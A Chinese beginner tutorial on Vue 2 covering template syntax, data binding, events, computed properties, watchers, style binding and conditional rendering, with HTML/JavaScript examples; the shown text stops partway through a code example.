vue2+vue3小白零基础教程—vue2篇，全网2021最详细教程
2024-04-27 11:36:23
vue教程
提示：Vue3系列请参考Vue2+Vue3小白零基础教程—vue3篇文章，本文为vue2篇。
1. Vue核心
1.1 Vue简介
1.1.1 Vue是什么
一套用于构建用户界面的渐进式JavaScript框架
渐进式：Vue可以自底向上逐层的应用
- 简单应用：只需一个轻量小巧的核心库
- 复杂应用：可以引入各式各样的Vue插件
1.1.2 谁开发的
1.1.3 Vue的特点
采用组件化模式，提高代码复用率、且让代码更好维护。
声明式编码,让编码人员无需直接操作DOM,提高开发效率。
使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点
1.2 Vue快速体验
1.2.1 准备工作
下载Vue.js的chrome插件
下载地址：Vue Devtools
修改全局配置
<script type="text/javascript">Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示 </script>
1.2.2 案例
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>demo-o1</title><script type="text/javascript" src="../js/vue.js" ></script>
</head>
<body><div id="box">hello, {{name}}！</div><script type="text/javascript">Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const x = new Vue({el:"#box", //用于指定当前Vue实例为哪个容器服务，通常使用css选择器data:{ //data中的数据用于存储数据，数据供el所指定的容器使用name:"张三" }})</script>
</body>
</html>
1.2.3 总结
- 想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
- box容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
- box容器里的代码被称为【Vue模板】；
- Vue实例和容器是一 一对应的；
- 真实开发中只有一个Vue实例，并且会配合着组件一起使用；
- {{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
- 一且data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；
- 注意区分：js表达式和js代码（语句）
- 表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
- a
- a+b
- demo(1)
- x===y?‘a’:‘b’
- js代码(语句)
- if(){}
- for(){}
- 表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
- 注意区分：js表达式和js代码（语句）
1.3 Vue模板
Vue模板语法有2大类：
- 插值语法：
- 功能：用于解析标签体内容。
- 写法：[{xxx}],xxx是js表达式，且可以直接读取到data中的所有属性。
- 指令语法：
- 功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…)。
- 举例：v-bind:href="xxx"或简写为：href=“xxx”,xxx同样要写js表达式，且可以直接读取到data中的所有属性。
- 备注：Vue中有很多的指令，且形式都是：V-???,此处我们只是拿v-bind举个例子。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Vue模板</title><script src="../js/vue.js" type="text/javascript"></script>
</head>
<body><div id="box"><h1>插值语法</h1><p>你好，{{name}}</p><hr><h2>指令语法</h2><p><a :href="url">百度搜索</a></p></div>
</body>
<script type="text/javascript">const x = new Vue({el:"#box",data:{name:"Vue",url:"https://www.baidu.com"}})
</script>
</html>
1.4 数据绑定
Vue中有2种数据绑定的方式：
单向绑定（v-bind):数据只能从data流向页面。
双向绑定（v-model):数据不仅能从data流向页面，还可以从页面流向data。
备注：
双向绑定一般都应用在表单类元素上（如：input、select等）
V-model:value可以简写为v-model,因为v-mode1默认收集的就是value值。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据绑定</title><script src="../js/vue.js" type="text/javascript"></script>
</head>
<body><div id="box">单向数据绑定：<input type="text" v-model:value="info1">双向数据绑定：<input type="text" v-model:value="info2"></div><script type="text/javascript">Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const x = new Vue({el:"#box",data:{info1:"单向数据绑定",info2:"双向数据绑定"}})</script>
</body>
</html>
1.5 data和el的两种写法
data与el的2种写法
- e1有2种写法
- new Vue时候配置e1属性。
- 先创建Vue实例，随后再通过vm.$mount(’#root’)指定e1的值。
- data有2种写法
- 对象式
- 函数式
如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。
- 一个重要的原则：
vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app">{{name}}</div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const v = new Vue({// el: '#app', //el的第一种写法// data: { //data的第一张写法：对象式// name:"hello world!" // }data(){ //data的第二种写法：函数式 （data(){} === data:function(){})return{name:"hello vue"}}})v.$mount("#app") //el的第二种写法</script>
</body></html>
1.6 MVVM模型
MVVM模型
- M:模型（Model): data中的数据
- V:视图（View): 模板代码
- VM:视图模型（ViewModel): Vue实例
观察发现：
- data中所有的属性，最后都出现在了vm身上。
- vm身上所有的属性及Vue原型上所有属性，在Vue模板中都可以直接使用。
1.7 数据代理
1.7.1 原生Object.defindProperty方法
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Object.defindProperty</title>
</head>
<body><script type="text/javascript">let Person = {name:"张三",sex:"男"}// 直接使用defineProperty，传入属性// Object.defineProperty(Person, "age", {// value:18, //传入的值// enumerable:true, //控制属性是否可以枚举（遍历），默认值false// writable:true, //控制属性的值是否可以被修改，默认值false// configurable:true //控制属性是否可以别删除，默认值false// })// console.log(Person)// console.log(Object.keys(Person))// 使用defineProperty，传入变量 let age = 18Object.defineProperty(Person, "age", {get(){ //当age值被读取时，调用该方法，读取的值为返回的值console.log("age属性被读取")return age;},set(value){ //当age的值被修改时，修改的值会当作参数传入console.log("age属性被修改")age = value}}) </script>
</body>
</html>
1.7.2 数据代理
数据代理：通过一个对象代理对另一个对象中属性的操作（读/写
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>数据代理</title>
</head>
<body><script type="text/javascript">let obj1 = {x:100}let obj2 = {y:200}Object.defineProperty(obj2, 'x', {get(){return obj1.x},set(value){obj1.x = value}})</script>
</body>
</html>
1.7.3 Vue中的数据代理
Vue中的数据代理：
通过vm对象来代理data对象中属性的操作（读/写）
Vue中数据代理的好处：
更加方便的操作data中的数据
基本原理：
通过object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性，都指定一个getter/setter。在getter/setter内部去操作（读/写）data中对应的属性。
<!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>vue数据代理</title><script src="../js/vue.min.js"></script> </head><body><div id="app">{{name}}{{_data.name}}<!--vue中真实数据在_data中--></div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {name:张三 }})</script> </body></html>
1.8 事件处理
1.8.1 事件的基本使用
使用v-on:xx或@x绑定事件,其中xxx是事件名
事件的回调需要配置在 methods对象中,最终会在vm上
methods中配置的函数,不要用箭头函数!否则this就不是vm了
methods中置的函数,都是被vue所管理的函数,this的指向是vm或组件实例对像
@c1ick="demo”和cick="demo($ event)"效果一致,但后者可以传参
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>事件处理</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>{{name}}</h1><button type="button" v-on:click="showInfo1">点我提示信息1</button><!-- v-on:click 可以简写为 @click --><button type="button" @click="showInfo2($event, '张三')">点我提示信息2</button> </div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {name:"hello world" },methods: {showInfo1(event){ //默认点击时间会传入button的eventconsole.log(event)console.log(event.target)console.log(event.target.innerText)alert("hello vue!")},showInfo2(event, name){ //调用方法时可用$event占位传入console.log(this == vm) //this为vmconsole.log(event)console.log(event.target)console.log(event.target.innerText) alert("hello，"+name)}},})</script>
</body></html>
1.8.2 事件修饰符
Vue中的事件修饰符：
- prevent:阻止默认事件（常用）;
- stop:阻止事件冒泡（常用）;
- once:事件只触发一次（常用）;
- capture:使用事件的捕获模式；
- self:只有event.target是当前操作的元素是才触发事件；
- passive:事件的默认行为立即执行，无需等待事件回调执行完毕；
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>事件修饰符</title><script src="../js/vue.min.js"></script><script src="http://apps.bdimg.com/libs/jquery/1.9.1/jquery.min.js"></script><style>*{margin: 10px;}.box1{width: 100px;height: 100px;background-color: aquamarine;}.box2{width: 50px;height: 50px;margin: 20;background-color:cyan;}ul{height: 300px;width:120px;background-color: darkorange;padding: 10px;overflow: auto; }li{height: 150px;width: 100px;margin-top: 10px;background-color: darksalmon;}</style>
</head><body><!-- Vue中的事件修饰符：1. prevent:阻止默认事件（常用）;2. stop:阻止事件冒泡（常用）;3. once:事件只触发一次（常用）;4. capture:使用事件的捕获模式；5. self:只有event.target是当前操作的元素是才触发事件；6. passive:事件的默认行为立即执行，无需等待事件回调执行完毕； --><div id="app"><!-- prevent:阻止默认事件（常用）, 阻止a标签的跳转 --><a href="https://www.baidu.com" @click.prevent="showInfo">点我显示信息</a><!-- stop:阻止事件冒泡（常用） --><div class="box1" @click="showInfo2($event,'box')"><button type="button" @click.stop="showInfo2($event, 'button')">button</button></div><!-- 修饰符可以一起使用 --><div class="box1" @click="showInfo2($event,'box')"><a href="https://www.baidu.com" @click.stop.prevent="showInfo2($event, 'a')">a</a></div><!-- once:事件只触发一次（常用） --><button type="button" id="onceButton" @click.once="onceButton">once button</button><!-- capture:使用事件的捕获模式,(捕获阶段就开始处理) --><div class="box1" @click.capture="showInfo2($event,'box1')">box1<div class="box2" @click="showInfo2($event,'box2')">box2</div></div><!-- self:只有event.target是当前操作的元素是才触发事件 --><div class="box1" @click.self="showInfo2($event,'box1')">box1<div class="box2" @click="showInfo2($event,'box2')">box2</div></div><!-- passive:事件的默认行为立即执行，无需等待事件回调执行完毕； --><!-- @scroll:滚动条滚动事件(事件触发时默认行为立即执行) --><!-- @wheel:滚轮滚动事件（事件处理玩后才执行默认事件） --><ul @wheel.passive="demo"><li>1</li><li>2</li><li>3</li><li>4</li><li>5</li></ul></div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {},methods: {showInfo(event){alert("hello vue")console.log(event.target)},showInfo2(event, info){console.log(info)},onceButton(event){console.log(event.currentTarget.id)$("#"+event.currentTarget.id).attr("disabled",true)},demo(){for (let index = 0; index < 50000; index++) {console.log("@")}alert("事件处理完成")}},})</script>
</body></html>
1.8.3 键盘事件
Vue中常用的按键别名：（真实名字首字母大写）
- 回车=>enter
- 删除=>delete(捕获“删除”和“退格”键）
- 退出=>esc
- 空格=>space
- 换行=>**tab **（必须配合@keydown使用）
- 上=>up
- 下=>down
- 左=>left
- 右=>right
Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case(短横线命名）
系统修饰键（用法特殊）:ctrl、alt、shift、meta
- 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
- 配合keydown使用：正常触发事件。
也可以使用keyCode去指定具体的按键（不推荐）
Vue.config.keyCodes.自定义键名=键码，可以去定制按键别名
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><style>*{margin: 10px;}</style>
</head><body><!-- 1. Vue中常用的按键别名：* 回车=>**enter*** 删除=>**delete**(捕获“删除”和“退格”键）* 退出=>**esc*** 空格=>**space*** 换行=>**tab*** 上=>**up*** 下=>**down*** 左=>**left*** 右=>**right**2. Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case(短横线命名）3. 系统修饰键（用法特殊）:ctrl、alt、shift、meta1. 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。2. 配合keydown使用：正常触发事件。4. 也可以使用keyCode去指定具体的按键（不推荐）5. Vue.config.keyCodes.自定义键名=键码，可以去定制按键别名 --><div id="app"><input type="text" placeholder="输入文字,回车键触发事件" @keyup.enter="showInfo"><br><input type="text" placeholder="输入文字,delete键触发事件" @keyup.delete="showInfo"><br><input type="text" placeholder="输入文字,esc键触发事件" @keyup.esc="showInfo"><br><input type="text" placeholder="输入文字,空格键触发事件" @keyup.space="showInfo"><br><input type="text" placeholder="输入文字,换行键触发事件" @keydown.tab="showInfo"><br><input type="text" placeholder="输入文字,上键触发事件" @keyup.up="showInfo"><br><input type="text" placeholder="输入文字,下键触发事件" @keyup.down="showInfo"><br><input type="text" placeholder="输入文字,左键触发事件" @keyup.left="showInfo"><br><input type="text" placeholder="输入文字,右键触发事件" @keyup.right="showInfo"><br><!-- 多个单词的按键小写中间用-连接，单个字母的首字母大写 --><input type="text" placeholder="输入文字,其它按键（大小写）触发事件" @keyup.caps-lock="showInfo"><br><!-- 系统修饰键（用法特殊）:ctrl、alt、shift、meta --><input type="text" placeholder="输入文字,ctrl+其他按键触发事件触发事件" @keyup.ctrl="showInfo"><br><input type="text" placeholder="输入文字,ctrl+y键触发事件触发事件" @keyup.ctrl.y="showInfo"><br><!-- 自定义按键别名 --><input type="text" placeholder="输入文字,回车键触发事件" @keyup.huiche="showInfo"><br></div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示Vue.config.keyCodes.huiche=13 //自定义按键别名const vm = new Vue({el: '#app',data: {},methods: {showInfo(event){console.log(event.key,event.keyCode)console.log(event.target.value)alert(event.target.value)}},})</script>
</body></html>
1.9 计算属性
案例要求：两个输入框分别输入姓和名，下方将姓名文字组合在一起
1.9.1 插值语法实现
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><input type="text" v-model="firstName"> <br><input type="text" v-model="lastName"> <br>姓名：{{firstName}}-{{lastName}}</div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {firstName: "张",lastName: "三"}})</script>
</body></html>
1.9.2 methods方法实现
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><input type="text" v-model="firstName"> <br><input type="text" v-model="lastName"> <br>姓名：{{showName()}}</div><script>Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {firstName: "张",lastName: "三"},methods: {showName(){return this.firstName + "-" + this.lastName}},})</script>
</body></html>
1.9.3 计算属性
计算属性：
- 定义：要用的属性不存在，要通过已有属性计算得来。
- 原理：底层借助了objcet.defineproperty方法提供的getter和setter。
- get什么时候执行？
- 初次读取时会执行一次。
- 当依赖的数据发生改变时会被再次调用。
- 优势：与methods实现相比，内部有缓存机制（复用）,效率更高，调试方便。
- 备注：
- 计算属性最终会出现在vm上，直接读取使用即可。
- 如果计算属性要被修改，那必须写set去响应修改，且set中要引起计算时依赖的数据发变化
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><input type="text" v-model="firstName"> <br><input type="text" v-model="lastName"> <br>姓名：{{fullName}}</div><script>Vue.config.devtools = trueVue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {firstName: "张",lastName: "三"},computed:{fullName:{//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值//get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。get(){console.log('get 方法被调用了')return this.firstName + "-" + this.lastName},//候调用？当fullName被修改时。set(value){let arr = value.split("-")this.firstName = arr[0]this.lastName = arr[1]}}}})</script>
</body></html>
简写形式：
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><input type="text" v-model="firstName"> <br><input type="text" v-model="lastName"> <br>姓名：{{fullName}}</div><script>Vue.config.devtools = trueVue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {firstName: "张",lastName: "三"},computed:{fullName(){ //不考虑修改计算属性的情况下，可简写为函数形式，相当于直接调用了get方法return this.firstName + "-" + this.lastName}}})</script>
</body></html>
1.10 监视属性
案例：实现页面显示的天气状态的改变
1.10.1 使用插值语法实现
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>今天的天气{{showWeacher}}</h1><button type="button" @click="switchWeather">点击切换</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {isHot:true },methods: {switchWeather(){this.isHot = !this.isHot}},computed:{showWeacher(){return this.isHot ? "炎热":"凉爽"}}})</script>
</body></html>
1.10.2 监视属性
监视属性watch:
- 当被监视的属性变化时，回调函数自动调用，进行相关操作
- 监视的属性必须存在，才能进行监视！!
- 监视的两种写法：
- new Vue时传入watch配置
- 通过vm.$watch监视
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>今天的天气{{showWeacher}}</h1><button type="button" @click="switchWeather">点击切换</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {isHot:true },methods: {switchWeather(){this.isHot = !this.isHot}},computed:{showWeacher(){return this.isHot ? "炎热":"凉爽"}},watch:{isHot:{immediate:true, //初始化时让handler调用一下handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。console.log("new value: "+ newValue + ", old value: " + oldVale)}}}})// 第二种写法// vm.$watch("isHot",{// immediate:true, //初始化时让handler调用一下// handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。// console.log("new value: "+ newValue + ", old value: " + oldVale)// }// })</script>
</body></html>
1.10.3 深度监视
深度监视：
- Vue中的watch默认不监测对象内部值的改变（一层）。
- 配置deep:true可以监测对象内部值改变（多层）。
备注：
- Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以
- 使用watch时根据数据的具体结构，决定是否采用深度监视。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>今天的天气{{showWeacher}}</h1><button type="button" @click="switchWeather">点击切换</button><hr><h2>{{number.a}}</h2><button type="button" @click="number.a++">点我+1</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {isHot:true,number:{a: 1,b: 1}},methods: {switchWeather(){this.isHot = !this.isHot}},computed:{showWeacher(){return this.isHot ? "炎热":"凉爽"}},watch:{isHot:{immediate:true, //初始化时让handler调用一下handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。console.log("new value: "+ newValue + ", old value: " + oldVale)}},"number.a":{ //监控多级属性种的某一个属性发生变化immediate:true, //初始化时让handler调用一下handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。console.log("new value: "+ newValue + ", old value: " + oldVale)}},number:{ //监控多级属性种的所有值的变化deep:true,immediate:true, //初始化时让handler调用一下handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。console.log("new value: "+ JSON.stringify(newValue) + ", old value: " + JSON.stringify(oldVale))}}}})</script>
</body></html>
1.10.4 简写
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>今天的天气{{showWeacher}}</h1><button type="button" @click="switchWeather">点击切换</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {isHot:true },methods: {switchWeather(){this.isHot = !this.isHot}},computed:{showWeacher(){return this.isHot ? "炎热":"凉爽"}},watch:{//完整写法// isHot:{// immediate:true, //初始化时让handler调用一下// handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。// console.log("new value: "+ newValue + ", old value: " + oldVale)// }// }//简写，只需要监控，不需要其他属性// isHot(newValue, oldVale){// console.log("new value: "+ newValue + ", old value: " + oldVale)// }}})// 第二种写法// vm.$watch("isHot",{// immediate:true, //初始化时让handler调用一下// handler(newValue, oldVale){ //handler什么时候调用？当isHot发生改变时。// console.log("new value: "+ newValue + ", old value: " + oldVale)// }// })//简写形式vm.$watch("isHot",function(newValue, oldVale){console.log("new value: "+ newValue + ", old value: " + oldVale)})</script>
</body></html>
1.10.5 watch实现姓名案例
computed和watch之间的区别：
- computed能完成的功能，watch都可以完成。
- watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。
两个重要的小原则：
- 所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm或组件实例对象。
- 所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数）,最好写成箭头函刻，这样this的指向才是vm或组件实例对象。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><input type="text" v-model="firstName"> <br><input type="text" v-model="lastName"> <br>姓名：{{fullName}}</div><script>Vue.config.devtools = trueVue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {firstName: "张",lastName: "三",fullName: "张 - 三"},// computed:{// fullName(){ //不考虑修改计算属性的情况下，可简写为函数形式，相当于直接调用了get方法// return this.firstName + "-" + this.lastName// }// }watch:{firstName(value){ //需要使用异步的只能使用watch而不能使用computedconsole.log("firstName...")setTimeout(()=>{this.fullName = value + this.lastName}, 1000) //一秒响应},lastName(value){console.log("lastName...")setTimeout(()=>{this.fullName = this.firstName + value}, 1000) //一秒响应},}})</script>
</body></html>
1.11 样式绑定
绑定样式：
class样式
写法：class="xxx"xxx可以是字符串、对象、数组。
- 字符串写法适用于：类名不确定，要动态获取。
- 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。
- 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。
style样式
- :style="{fontSize:xxx}"其中xxx是动态值。
- :style="[a,b]"其中a、b是样式对象。
1.11.1 css绑定
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><style>.base{width: 300px;height: 300px;border: 1px solid #000;padding: 5%;margin-top: 10px;}.common{background: rgb(182,214,237);background: -moz-linear-gradient(left, rgb(182,214,237) 0%, rgb(113,189,239) 55%, rgb(34,156,226) 100%);background: -webkit-gradient(left top, right top, color-stop(0%, rgb(182,214,237)), color-stop(55%, rgb(113,189,239)), color-stop(100%, rgb(34,156,226)));background: -webkit-linear-gradient(left, rgb(182,214,237) 0%, rgb(113,189,239) 55%, rgb(34,156,226) 100%);background: -o-linear-gradient(left, rgb(182,214,237) 0%, rgb(113,189,239) 55%, rgb(34,156,226) 100%);background: -ms-linear-gradient(left, rgb(182,214,237) 0%, rgb(113,189,239) 55%, rgb(34,156,226) 100%);background: linear-gradient(to right, rgb(182,214,237) 0%, rgb(113,189,239) 55%, rgb(34,156,226) 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#b6d6ed', endColorstr='#229ce2', GradientType=1 );}.happy{background: rgb(255,215,82);background: -moz-linear-gradient(left, rgb(255,215,82) 0%, rgb(229,231,64) 39%, rgb(241,91,146) 100%);background: -webkit-gradient(left top, right top, color-stop(0%, rgb(255,215,82)), color-stop(39%, rgb(229,231,64)), color-stop(100%, rgb(241,91,146)));background: -webkit-linear-gradient(left, rgb(255,215,82) 0%, rgb(229,231,64) 39%, rgb(241,91,146) 100%);background: -o-linear-gradient(left, rgb(255,215,82) 0%, rgb(229,231,64) 39%, rgb(241,91,146) 100%);background: -ms-linear-gradient(left, rgb(255,215,82) 0%, rgb(229,231,64) 39%, rgb(241,91,146) 100%);background: linear-gradient(to right, rgb(255,215,82) 0%, rgb(229,231,64) 39%, rgb(241,91,146) 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffd752', endColorstr='#f15b92', GradientType=1 );}.unhappy{background: rgb(221,181,235);background: -moz-linear-gradient(left, rgb(221,181,235) 0%, rgb(113,189,239) 47%, rgb(235,168,35) 100%);background: -webkit-gradient(left top, right top, color-stop(0%, rgb(221,181,235)), color-stop(47%, rgb(113,189,239)), color-stop(100%, rgb(235,168,35)));background: -webkit-linear-gradient(left, rgb(221,181,235) 0%, rgb(113,189,239) 47%, rgb(235,168,35) 100%);background: -o-linear-gradient(left, rgb(221,181,235) 0%, rgb(113,189,239) 47%, rgb(235,168,35) 100%);background: -ms-linear-gradient(left, rgb(221,181,235) 0%, rgb(113,189,239) 47%, rgb(235,168,35) 100%);background: linear-gradient(to right, rgb(221,181,235) 0%, rgb(113,189,239) 47%, rgb(235,168,35) 100%);filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ddb5eb', endColorstr='#eba823', GradientType=1 );}.border1{border:darkorchid solid 2px;}.border2{border-radius: 20px;}.border3{box-shadow: gray 5px 2px;}</style>
</head><body><div id="app"><!--绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 --><div class="base" :class="bgColor" @click="changeBgColor">心情{{mood}}</div><!--绑定c1ass样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定--><div class="base" :class="arr" @click="changeBorderStyle">使用样式：{{arr}}</div><!--绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 --><div class="base" :class="selectArr"><input type="checkbox" v-model="selectArr.border1" > border1 <br><input type="checkbox" v-model="selectArr.border2"> border3 <br><input type="checkbox" v-model="selectArr.border3" > border3 <br></div></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {bgColor: "common",mood:"平常心",arr:[],selectArr:{border1:false,border2:false,border3:false}},methods: {changeBgColor(){const arrBgColor = ["common","happy","unhappy"]const arrMood = ["平常心","开心","不开心"]let index = Math.floor(Math.random()*3)this.bgColor = arrBgColor[index]this.mood = arrMood[index]},changeBorderStyle(){const style = ["border1", "border2", "border3"]if(this.arr.length < 3)this.arr.push(style[this.arr.length])},},})</script>
</body></html>
1.22.2 style绑定
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><style>.base{width: 200px;height: 200px;border: 1px solid #000;padding: 5%;margin-top: 10px;}</style>
</head><body><div id="app"><div class="base" :style="{borderRadius: borderRadius}">style绑定</div><div class="base" :style="style">style绑定</div><div class="base" :style="[{backgroundColor,backgroundColor}, {borderRadius, borderRadius}]">style绑定</div></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {borderRadius: '15px',backgroundColor: 'red', style:{borderRadius: '15px', backgroundColor: 'red',}},methods: {},})</script>
</body></html>
1.12 条件渲染
条件渲染：
v-if
写法：- v-if=“表达式”
- v-else-if=“表达式”
- v-else=“表达式”
适用于：切换频率较低的场景。
特点：不展示的DOM元素直接被移除。
注意：v-if可以和：v-else-if、v-else一起使用，但要求结构不能被“打断”。
v-show
写法：V-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉
备注：使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
